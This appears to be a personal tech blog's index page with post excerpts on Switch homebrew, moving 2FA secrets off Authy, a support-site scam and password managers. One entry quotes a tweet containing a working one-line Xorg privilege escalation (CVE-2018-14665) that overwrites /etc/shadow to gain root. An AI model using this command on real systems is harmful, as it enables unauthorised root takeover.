Nintendo Switch Theme: Deadpool Playing Pokemon: ClearLayout

Trying to get into Switch theming, so this is my first attempt: Deadpool Playing Pokemon: ClearLayout screenshot. Download is available here. I also posted the theme to /r/NXThemes: My First Theme: Deadpool Playing Pokemon: ClearLayout.

December 30, 2018 · Sean P. McAdam

New Nintendo Switch Payload: ArgonNX

Guillem96 has a new payload available on GitHub: argon-nx. As he states in the description there, it’s meant to be used to choose which payload you’d actually like to launch; just use the ArgonNX payload, & then choose from any BIN you have located in the \argon\payloads\ directory. What’s nice about this is that you can choose the logos to go along with each BIN. Still have some work to do, but this is what my selection screen looks like right now: ...

December 29, 2018 · Sean P. McAdam

Homebrewing ALL THE THINGS

Pretty accurate description of what I’ve been up to recently. Since getting homebrew running on my Nintendo Switch, I’ve been booting up some old hardware & getting homebrew &\or custom firmware running there. The most recent three after the Switch have been my Nintendo Wii U, PlayStation Vita, & PlayStation 3. I’ve had CFW running on my Vita for a while, but also haven’t turned it on in ages. I came back to some interesting to features in the homebrew scene which was a nice surprise. ...

December 13, 2018 · Sean P. McAdam

Moving from Authy to Another 2FA App

Despite the convenience of having Authy’s ability to sync across devices, I decided I wanted to change my 2FA app to Android’s andOTP. To do this (without unenrolling & re-enrolling myself in 2FA for my 50+ services), I needed to find a way to export my secrets from Authy. I did find a few posts on the topic, but didn’t have any luck with those guides. Most seemed to be a variation on the same process of getting the secrets from the Authy Chrome extension. ...

November 12, 2018 · Sean P. McAdam

Nintendo Switch: ReiNX Splashscreen

Now that I’ve finally started getting homebrew running on my Switch, figured I’d put together a quick ReiNX splashscreen, similar to one of the Luma3DS ones: Luma3DS XL “BIOS” splashscreen at boot. My first attempt at a “BIOS” boot splashscreen for the Switch.

November 9, 2018 · Sean P. McAdam

CVE-2018-14665: Exploit in a Tweet

Hacker Fantastic has another Tweet-able exploit for a system: #CVE-2018-14665 - a LPE exploit via https://t.co/eax3fvaAjE fits in a tweet cd /etc; Xorg -fp “root::16431:0:99999:7:::” -logfile shadow :1;su Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.— Hacker Fantastic (@hackerfantastic) October 25, 2018 Twitter: @HackerFantastic

October 26, 2018 · Sean P. McAdam

Scammers Using Microsoft's Support Site

I just came across this video (posted yesterday), where scammers are leveraging Microsoft’s legitimate support site at https://support.microsoft.com/help. This was after I received a fake Microsoft support call. Unfortunately, I didn’t have a dummy VM ready to waste their time, but glad I found out about the use of Microsoft’s site. Because Microsoft uses LogMeIn, their support site seems to just forward the code to LogMeIn to start the session. See the video below for how the site is used: ...

October 18, 2018 · Sean P. McAdam

Finally Found a KeePassXC Client for iOS!

Found out about this app from /r/KeePass: KyPass 4 (iOS) TOTP? I’ve always had a problem trying to get an iOS app that would work with KeePassXC databases. Seems to be working fine right from the start, so definitely worth the $6.99 price tag.

October 9, 2018 · Sean P. McAdam

Useful Medium Articles

Two Medium articles that I end up using over & over & want to make sure I save: Medium: Run ResilioSync (Btsync) as normal user under Ubuntu Medium: Upgrade Your SSH Key to Ed25519

October 8, 2018 · Sean P. McAdam

ANOTHER GOOD article about passwords

Very glad to see another post by a site, giving good information on handling passwords, security question answers, & the recommendation to use password managers. I last had a post about this in July, when Dreamhost also put out a good article about creating strong passwords for account security. The link to that article is below as well. Lifehacker: Use Your Password Manager for Security Answers, Too Dreamhost: How to Create Strong Passwords to Keep Your Website Safe

October 4, 2018 · Sean P. McAdam